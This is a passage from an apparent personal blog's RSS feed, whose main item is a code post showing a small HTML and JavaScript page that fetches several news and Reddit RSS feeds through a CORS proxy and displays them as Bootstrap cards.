<span class="kd">struct</span> <span class="nc">ContentView_Previews</span><span class="p">:</span> <span class="n">PreviewProvider</span> <span class="p">{</span>
    <span class="kd">static</span> <span class="kd">var</span> <span class="nv">previews</span><span class="p">:</span> <span class="n">some</span> <span class="n">View</span> <span class="p">{</span>
        <span class="n">ContentView</span><span class="p">()</span>
    <span class="p">}</span>
<span class="p">}</span>
</code></pre>
</div>
]]></content:encoded>
		</item>
		
		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2020-12-1-HTML-JS-RSS-Feed.html
			</guid>
			<title>
				RSS Feed written in HTML + JavaScript
			</title>
			<description>
				Short code-snippet for an RSS feed, written in HTML and JavaScript
			</description>
			<link>https://web.navan.dev/posts/2020-12-1-HTML-JS-RSS-Feed.html</link>
			<pubDate>Tue, 01 Dec 2020 20:52:00 -0000</pubDate>
			<content:encoded><![CDATA[<h1 id="rss-feed-written-in-html-javascript">RSS Feed written in HTML + JavaScript</h1>

<p>If you want to directly open the HTML file in your browser after saving, don't forget to set <code>CORS_PROXY=""</code> </p>

<div class="codehilite">
<pre><span></span><code><span class="cp">&lt;!doctype html&gt;</span>
<span class="p">&lt;</span><span class="nt">html</span> <span class="na">lang</span><span class="o">=</span><span class="s">&quot;en&quot;</span><span class="p">&gt;</span>
<span class="p">&lt;</span><span class="nt">head</span><span class="p">&gt;</span>
  <span class="p">&lt;</span><span class="nt">meta</span> <span class="na">charset</span><span class="o">=</span><span class="s">&quot;utf-8&quot;</span><span class="p">&gt;</span>
  <span class="p">&lt;</span><span class="nt">meta</span> <span class="na">name</span><span class="o">=</span><span class="s">&quot;viewport&quot;</span> <span class="na">content</span><span class="o">=</span><span class="s">&quot;width=device-width, initial-scale=1&quot;</span><span class="p">&gt;</span>
    <span class="p">&lt;</span><span class="nt">title</span><span class="p">&gt;</span>
        RSS Feed
    <span class="p">&lt;/</span><span class="nt">title</span><span class="p">&gt;</span>
    <span class="p">&lt;</span><span class="nt">link</span> <span class="na">rel</span><span class="o">=</span><span class="s">&quot;stylesheet&quot;</span> <span class="na">href</span><span class="o">=</span><span class="s">&quot;https://stackpath.bootstrapcdn.com/bootstrap/4.1.3/css/bootstrap.min.css&quot;</span> <span class="na">integrity</span><span class="o">=</span><span class="s">&quot;sha384-MCw98/SFnGE8fJT3GXwEOngsV7Zt27NXFoaoApmYm81iuXoPkFOJwJ8ERdknLPMO&quot;</span> <span class="na">crossorigin</span><span class="o">=</span><span class="s">&quot;anonymous&quot;</span><span class="p">&gt;</span>
<span class="p">&lt;/</span><span class="nt">head</span><span class="p">&gt;</span>
<span class="p">&lt;</span><span class="nt">body</span><span class="p">&gt;</span>

<span class="p">&lt;</span><span class="nt">h1</span> <span class="na">align</span><span class="o">=</span><span class="s">&quot;center&quot;</span> <span class="na">class</span><span class="o">=</span><span class="s">&quot;display-1&quot;</span><span class="p">&gt;</span>RSS Feed<span class="p">&lt;/</span><span class="nt">h1</span><span class="p">&gt;</span>
<span class="p">&lt;</span><span class="nt">main</span><span class="p">&gt;</span>
    <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&quot;container&quot;</span><span class="p">&gt;</span>
    <span class="p">&lt;</span><span class="nt">div</span> <span class="na">class</span><span class="o">=</span><span class="s">&quot;list-group pb-4&quot;</span> <span class="na">id</span><span class="o">=</span><span class="s">&quot;contents&quot;</span><span class="p">&gt;&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
<span class="p">&lt;</span><span class="nt">div</span> <span class="na">id</span><span class="o">=</span><span class="s">&quot;feed&quot;</span><span class="p">&gt;</span>
<span class="p">&lt;/</span><span class="nt">div</span><span class="p">&gt;&lt;/</span><span class="nt">div</span><span class="p">&gt;</span>
<span class="p">&lt;/</span><span class="nt">main</span><span class="p">&gt;</span>

<span class="p">&lt;</span><span class="nt">script</span> <span class="na">src</span><span class="o">=</span><span class="s">&quot;https://gitcdn.xyz/repo/rbren/rss-parser/master/dist/rss-parser.js&quot;</span><span class="p">&gt;&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
<span class="p">&lt;</span><span class="nt">script</span><span class="p">&gt;</span>

<span class="kd">const</span><span class="w"> </span><span class="nx">feeds</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="s2">&quot;BuzzFeed - India&quot;</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w">      </span><span class="s2">&quot;link&quot;</span><span class="o">:</span><span class="s2">&quot;https://www.buzzfeed.com/in.xml&quot;</span><span class="p">,</span>
<span class="w">      </span><span class="s2">&quot;summary&quot;</span><span class="o">:</span><span class="kc">true</span>
<span class="w">    </span><span class="p">},</span>
<span class="w">    </span><span class="s2">&quot;New Yorker&quot;</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w">      </span><span class="s2">&quot;link&quot;</span><span class="o">:</span><span class="s2">&quot;http://www.newyorker.com/feed/news&quot;</span><span class="p">,</span>
<span class="w">    </span><span class="p">},</span>
<span class="w">    </span><span class="s2">&quot;Vox&quot;</span><span class="o">:</span><span class="p">{</span>
<span class="w">      </span><span class="s2">&quot;link&quot;</span><span class="o">:</span><span class="s2">&quot;https://www.vox.com/rss/index.xml&quot;</span><span class="p">,</span>
<span class="w">      </span><span class="s2">&quot;limit&quot;</span><span class="o">:</span><span class="w"> </span><span class="mf">3</span>
<span class="w">    </span><span class="p">},</span>
<span class="w">    </span><span class="s2">&quot;r/Jokes&quot;</span><span class="o">:</span><span class="p">{</span>
<span class="w">      </span><span class="s2">&quot;link&quot;</span><span class="o">:</span><span class="s2">&quot;https://reddit.com/r/Jokes/hot/.rss?sort=hot&quot;</span><span class="p">,</span>
<span class="w">      </span><span class="s2">&quot;ignore&quot;</span><span class="o">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&quot;repost&quot;</span><span class="p">,</span><span class="s2">&quot;discord&quot;</span><span class="p">]</span>
<span class="w">    </span><span class="p">}</span>
<span class="p">}</span>

<span class="kd">const</span><span class="w"> </span><span class="nx">config_extra</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">{</span>
<span class="s2">&quot;Responsive-Images&quot;</span><span class="o">:</span><span class="w"> </span><span class="kc">true</span><span class="p">,</span>
<span class="s2">&quot;direct-link&quot;</span><span class="o">:</span><span class="w"> </span><span class="kc">false</span><span class="p">,</span>
<span class="s2">&quot;show-date&quot;</span><span class="o">:</span><span class="kc">false</span><span class="p">,</span>
<span class="s2">&quot;left-column&quot;</span><span class="o">:</span><span class="kc">false</span><span class="p">,</span>
<span class="s2">&quot;defaults&quot;</span><span class="o">:</span><span class="w"> </span><span class="p">{</span>
<span class="w">  </span><span class="s2">&quot;limit&quot;</span><span class="o">:</span><span class="w"> </span><span class="mf">5</span><span class="p">,</span>
<span class="w">  </span><span class="s2">&quot;summary&quot;</span><span class="o">:</span><span class="w"> </span><span class="kc">true</span>
<span class="p">}</span>
<span class="p">}</span>

<span class="kd">const</span><span class="w"> </span><span class="nx">CORS_PROXY</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">&quot;https://cors-anywhere.herokuapp.com/&quot;</span>

<span class="kd">var</span><span class="w"> </span><span class="nx">contents_title</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">&quot;h2&quot;</span><span class="p">)</span>
<span class="nx">contents_title</span><span class="p">.</span><span class="nx">textContent</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">&quot;Contents&quot;</span>
<span class="nx">contents_title</span><span class="p">.</span><span class="nx">classList</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="s2">&quot;pb-1&quot;</span><span class="p">)</span>
<span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">&quot;contents&quot;</span><span class="p">).</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">contents_title</span><span class="p">)</span>

<span class="k">async</span><span class="w"> </span><span class="kd">function</span><span class="w"> </span><span class="nx">myfunc</span><span class="p">(</span><span class="nx">key</span><span class="p">){</span>

<span class="w">  </span><span class="kd">var</span><span class="w"> </span><span class="nx">count_lim</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">feeds</span><span class="p">[</span><span class="nx">key</span><span class="p">][</span><span class="s2">&quot;limit&quot;</span><span class="p">]</span>
<span class="w">  </span><span class="kd">var</span><span class="w"> </span><span class="nx">count_lim</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nx">count_lim</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="kc">undefined</span><span class="p">)</span><span class="w"> </span><span class="o">?</span><span class="w"> </span><span class="nx">config_extra</span><span class="p">[</span><span class="s2">&quot;defaults&quot;</span><span class="p">][</span><span class="s2">&quot;limit&quot;</span><span class="p">]</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="nx">count_lim</span>

<span class="w">  </span><span class="kd">var</span><span class="w"> </span><span class="nx">show_summary</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">feeds</span><span class="p">[</span><span class="nx">key</span><span class="p">][</span><span class="s2">&quot;summary&quot;</span><span class="p">]</span>
<span class="w">  </span><span class="kd">var</span><span class="w"> </span><span class="nx">show_summary</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nx">show_summary</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="kc">undefined</span><span class="p">)</span><span class="w"> </span><span class="o">?</span><span class="w"> </span><span class="nx">config_extra</span><span class="p">[</span><span class="s2">&quot;defaults&quot;</span><span class="p">][</span><span class="s2">&quot;summary&quot;</span><span class="p">]</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="nx">show_summary</span>

<span class="w">  </span><span class="kd">var</span><span class="w"> </span><span class="nx">ignore_tags</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">feeds</span><span class="p">[</span><span class="nx">key</span><span class="p">][</span><span class="s2">&quot;ignore&quot;</span><span class="p">]</span>
<span class="w">  </span><span class="kd">var</span><span class="w"> </span><span class="nx">ignore_tags</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nx">ignore_tags</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="kc">undefined</span><span class="p">)</span><span class="w"> </span><span class="o">?</span><span class="w"> </span><span class="p">[]</span><span class="w"> </span><span class="o">:</span><span class="w"> </span><span class="nx">ignore_tags</span>

<span class="w">  </span><span class="kd">var</span><span class="w"> </span><span class="nx">contents</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">&quot;a&quot;</span><span class="p">)</span>
<span class="w">  </span><span class="nx">contents</span><span class="p">.</span><span class="nx">href</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">&quot;#&quot;</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">key</span>
<span class="w">  </span><span class="nx">contents</span><span class="p">.</span><span class="nx">classList</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="s2">&quot;list-group-item&quot;</span><span class="p">,</span><span class="s2">&quot;list-group-item-action&quot;</span><span class="p">)</span>
<span class="w">  </span><span class="nx">contents</span><span class="p">.</span><span class="nx">textContent</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">key</span>
<span class="w">  </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">&quot;contents&quot;</span><span class="p">).</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">contents</span><span class="p">)</span>
<span class="w">  </span><span class="kd">var</span><span class="w"> </span><span class="nx">feed_div</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">&quot;div&quot;</span><span class="p">)</span>
<span class="w">  </span><span class="nx">feed_div</span><span class="p">.</span><span class="nx">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">key</span>
<span class="w">  </span><span class="nx">feed_div</span><span class="p">.</span><span class="nx">setAttribute</span><span class="p">(</span><span class="s2">&quot;id&quot;</span><span class="p">,</span><span class="w"> </span><span class="nx">key</span><span class="p">);</span>
<span class="w">  </span><span class="kd">var</span><span class="w"> </span><span class="nx">title</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">&quot;h2&quot;</span><span class="p">);</span>
<span class="w">  </span><span class="nx">title</span><span class="p">.</span><span class="nx">textContent</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">&quot;From &quot;</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">key</span><span class="p">;</span>
<span class="w">  </span><span class="nx">title</span><span class="p">.</span><span class="nx">classList</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="s2">&quot;pb-1&quot;</span><span class="p">)</span>
<span class="w">  </span><span class="nx">feed_div</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">title</span><span class="p">)</span>
<span class="w">  </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">&quot;feed&quot;</span><span class="p">).</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">feed_div</span><span class="p">)</span>
<span class="w">  </span><span class="kd">var</span><span class="w"> </span><span class="nx">parser</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="ow">new</span><span class="w"> </span><span class="nx">RSSParser</span><span class="p">();</span>
<span class="w">  </span><span class="kd">var</span><span class="w"> </span><span class="nx">countPosts</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span>
<span class="w">  </span><span class="nx">parser</span><span class="p">.</span><span class="nx">parseURL</span><span class="p">(</span><span class="nx">CORS_PROXY</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">feeds</span><span class="p">[</span><span class="nx">key</span><span class="p">][</span><span class="s2">&quot;link&quot;</span><span class="p">],</span><span class="w"> </span><span class="kd">function</span><span class="p">(</span><span class="nx">err</span><span class="p">,</span><span class="w"> </span><span class="nx">feed</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">    </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">err</span><span class="p">)</span><span class="w"> </span><span class="k">throw</span><span class="w"> </span><span class="nx">err</span><span class="p">;</span>
<span class="w">    </span><span class="nx">feed</span><span class="p">.</span><span class="nx">items</span><span class="p">.</span><span class="nx">forEach</span><span class="p">(</span><span class="kd">function</span><span class="p">(</span><span class="nx">entry</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">      </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">countPosts</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="nx">count_lim</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>

<span class="w">      </span><span class="kd">var</span><span class="w"> </span><span class="nx">skip</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">false</span>
<span class="w">      </span><span class="k">for</span><span class="p">(</span><span class="kd">var</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="nx">ignore_tags</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">entry</span><span class="p">.</span><span class="nx">title</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="nx">ignore_tags</span><span class="p">[</span><span class="nx">i</span><span class="p">])){</span>
<span class="w">          </span><span class="kd">var</span><span class="w"> </span><span class="nx">skip</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">true</span>
<span class="w">        </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">entry</span><span class="p">.</span><span class="nx">content</span><span class="p">.</span><span class="nx">includes</span><span class="p">(</span><span class="nx">ignore_tags</span><span class="p">[</span><span class="nx">i</span><span class="p">])){</span>
<span class="w">          </span><span class="kd">var</span><span class="w"> </span><span class="nx">skip</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">true</span>
<span class="w">        </span><span class="p">}</span>
<span class="w">      </span><span class="p">}</span>

<span class="w">      </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="nx">skip</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>

<span class="w">      </span><span class="kd">var</span><span class="w"> </span><span class="nx">node</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">&quot;div&quot;</span><span class="p">);</span>
<span class="w">      </span><span class="nx">node</span><span class="p">.</span><span class="nx">classList</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="s2">&quot;card&quot;</span><span class="p">,</span><span class="s2">&quot;mb-3&quot;</span><span class="p">);</span>
<span class="w">      </span><span class="kd">var</span><span class="w"> </span><span class="nx">row</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">&quot;div&quot;</span><span class="p">)</span>
<span class="w">      </span><span class="nx">row</span><span class="p">.</span><span class="nx">classList</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="s2">&quot;row&quot;</span><span class="p">,</span><span class="s2">&quot;no-gutters&quot;</span><span class="p">)</span>

<span class="w">      </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">config_extra</span><span class="p">[</span><span class="s2">&quot;left-column&quot;</span><span class="p">]){</span>
<span class="w">      </span><span class="kd">var</span><span class="w"> </span><span class="nx">left_col</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">&quot;div&quot;</span><span class="p">)</span>
<span class="w">      </span><span class="nx">left_col</span><span class="p">.</span><span class="nx">classList</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="s2">&quot;col-md-2&quot;</span><span class="p">)</span>
<span class="w">      </span><span class="kd">var</span><span class="w"> </span><span class="nx">left_col_body</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">&quot;div&quot;</span><span class="p">)</span>
<span class="w">      </span><span class="nx">left_col_body</span><span class="p">.</span><span class="nx">classList</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="s2">&quot;card-body&quot;</span><span class="p">)</span>
<span class="w">      </span><span class="p">}</span>

<span class="w">      </span><span class="kd">var</span><span class="w"> </span><span class="nx">right_col</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">&quot;div&quot;</span><span class="p">)</span>
<span class="w">      </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">config_extra</span><span class="p">[</span><span class="s2">&quot;left-column&quot;</span><span class="p">]){</span>
<span class="w">        </span><span class="nx">right_col</span><span class="p">.</span><span class="nx">classList</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="s2">&quot;col-md-10&quot;</span><span class="p">)</span>
<span class="w">      </span><span class="p">}</span>
<span class="w">      </span><span class="kd">var</span><span class="w"> </span><span class="nx">node_title</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">&quot;h5&quot;</span><span class="p">)</span>

<span class="w">      </span><span class="nx">node_title</span><span class="p">.</span><span class="nx">classList</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="s2">&quot;card-header&quot;</span><span class="p">)</span>
<span class="w">      </span><span class="nx">node_title</span><span class="p">.</span><span class="nx">innerHTML</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">entry</span><span class="p">.</span><span class="nx">title</span>

<span class="w">      </span><span class="nx">node_body</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">&quot;div&quot;</span><span class="p">)</span>
<span class="w">      </span><span class="nx">node_body</span><span class="p">.</span><span class="nx">classList</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="s2">&quot;card-body&quot;</span><span class="p">)</span>

<span class="w">      </span><span class="nx">node_content</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">&quot;p&quot;</span><span class="p">)</span>

<span class="w">      </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">show_summary</span><span class="p">){</span>
<span class="w">        </span><span class="nx">node_content</span><span class="p">.</span><span class="nx">innerHTML</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">entry</span><span class="p">.</span><span class="nx">content</span>
<span class="w">      </span><span class="p">}</span>
<span class="w">      </span><span class="nx">node_content</span><span class="p">.</span><span class="nx">classList</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="s2">&quot;card-text&quot;</span><span class="p">)</span>

<span class="w">      </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">config_extra</span><span class="p">[</span><span class="s2">&quot;direct-link&quot;</span><span class="p">]){</span>
<span class="w">      </span><span class="nx">node_link</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">&quot;p&quot;</span><span class="p">)</span>
<span class="w">      </span><span class="nx">node_link</span><span class="p">.</span><span class="nx">classList</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="s2">&quot;card-text&quot;</span><span class="p">)</span>
<span class="w">      </span><span class="nx">node_link</span><span class="p">.</span><span class="nx">innerHTML</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">&quot;&lt;b&gt;Link:&lt;/b&gt; &lt;a href=&#39;&quot;</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">entry</span><span class="p">.</span><span class="nx">link</span><span class="w"> </span><span class="o">+</span><span class="s2">&quot;&#39;&gt;Direct Link&lt;/a&gt;&quot;</span>
<span class="w">      </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">config_extra</span><span class="p">[</span><span class="s2">&quot;left-column&quot;</span><span class="p">]){</span>
<span class="w">      </span><span class="nx">left_col_body</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">node_link</span><span class="p">)</span>
<span class="w">        </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w">          </span><span class="nx">node_content</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">node_link</span><span class="p">)</span>
<span class="w">        </span><span class="p">}</span>
<span class="w">      </span><span class="p">}</span>

<span class="w">      </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">config_extra</span><span class="p">[</span><span class="s2">&quot;show-date&quot;</span><span class="p">]){</span>
<span class="w">        </span><span class="nx">node_date</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">createElement</span><span class="p">(</span><span class="s2">&quot;p&quot;</span><span class="p">)</span>
<span class="w">        </span><span class="nx">node_date</span><span class="p">.</span><span class="nx">classList</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="s2">&quot;card-text&quot;</span><span class="p">)</span>
<span class="w">        </span><span class="nx">node_date</span><span class="p">.</span><span class="nx">innerHTML</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">&quot;&lt;p&gt;&lt;b&gt;Date: &lt;/b&gt;&quot;</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="nx">entry</span><span class="p">.</span><span class="nx">pubDate</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="s2">&quot;&lt;/p&gt;&quot;</span>
<span class="w">        </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">config_extra</span><span class="p">[</span><span class="s2">&quot;left-column&quot;</span><span class="p">]){</span>
<span class="w">        </span><span class="nx">left_col_body</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">node_date</span><span class="p">)</span>
<span class="w">          </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="p">{</span>
<span class="w">            </span><span class="nx">node_content</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">node_date</span><span class="p">)</span>

<span class="w">        </span><span class="p">}</span>
<span class="w">      </span><span class="p">}</span>

<span class="w">      </span><span class="nx">node</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">node_title</span><span class="p">)</span>

<span class="w">      </span><span class="nx">node_body</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">node_content</span><span class="p">)</span>

<span class="w">      </span><span class="nx">right_col</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">node_body</span><span class="p">)</span>

<span class="w">      </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">config_extra</span><span class="p">[</span><span class="s2">&quot;left-column&quot;</span><span class="p">]){</span>
<span class="w">        </span><span class="nx">left_col</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">left_col_body</span><span class="p">)</span>
<span class="w">        </span><span class="nx">row</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">left_col</span><span class="p">)</span>
<span class="w">      </span><span class="p">}</span>

<span class="w">      </span><span class="nx">row</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">right_col</span><span class="p">)</span>

<span class="w">      </span><span class="nx">node</span><span class="p">.</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">row</span><span class="p">)</span>

<span class="w">      </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="nx">key</span><span class="p">).</span><span class="nx">appendChild</span><span class="p">(</span><span class="nx">node</span><span class="p">)</span>
<span class="w">      </span><span class="nx">countPosts</span><span class="o">+=</span><span class="mf">1</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">    </span><span class="p">}</span>
<span class="w">  </span><span class="p">})</span>

<span class="w">  </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">config_extra</span><span class="p">[</span><span class="s2">&quot;Responsive-Images&quot;</span><span class="p">]){</span>
<span class="w">  </span><span class="kd">var</span><span class="w"> </span><span class="nx">inputs</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementsByTagName</span><span class="p">(</span><span class="s1">&#39;img&#39;</span><span class="p">)</span>
<span class="w">      </span><span class="k">for</span><span class="p">(</span><span class="kd">var</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="nx">inputs</span><span class="p">.</span><span class="nx">length</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">        </span><span class="nx">inputs</span><span class="p">[</span><span class="nx">i</span><span class="p">].</span><span class="nx">classList</span><span class="p">.</span><span class="nx">add</span><span class="p">(</span><span class="s2">&quot;img-fluid&quot;</span><span class="p">)</span>
<span class="w">      </span><span class="p">}</span>
<span class="w">  </span><span class="p">}</span>

<span class="w">  </span><span class="p">})</span>

<span class="w">  </span><span class="k">return</span><span class="w"> </span><span class="kc">true</span>
<span class="p">}</span>
<span class="p">(</span><span class="k">async</span><span class="w"> </span><span class="p">()</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="p">{</span>
<span class="k">for</span><span class="p">(</span><span class="kd">var</span><span class="w"> </span><span class="nx">key</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="nx">feeds</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w">  </span><span class="kd">let</span><span class="w"> </span><span class="nx">result</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="k">await</span><span class="w"> </span><span class="nx">myfunc</span><span class="p">(</span><span class="nx">key</span><span class="p">);</span>
<span class="p">}})();</span>

<span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
<span class="p">&lt;</span><span class="nt">noscript</span><span class="p">&gt;</span>Uh Oh! Your browser does not support JavaScript or JavaScript is currently disabled. Please enable JavaScript or switch to a different browser.<span class="p">&lt;/</span><span class="nt">noscript</span><span class="p">&gt;</span>
<span class="p">&lt;/</span><span class="nt">body</span><span class="p">&gt;&lt;/</span><span class="nt">html</span><span class="p">&gt;</span>
</code></pre>
</div>
]]></content:encoded>
		</item>
		
		<item>
			<guid isPermaLink="true">
				https://web.navan.dev/posts/2020-01-19-Connect-To-Bluetooth-Devices-Linux-Terminal.html
			</guid>
			<title>
				How to setup Bluetooth on a Raspberry Pi
			</title>
			<description>
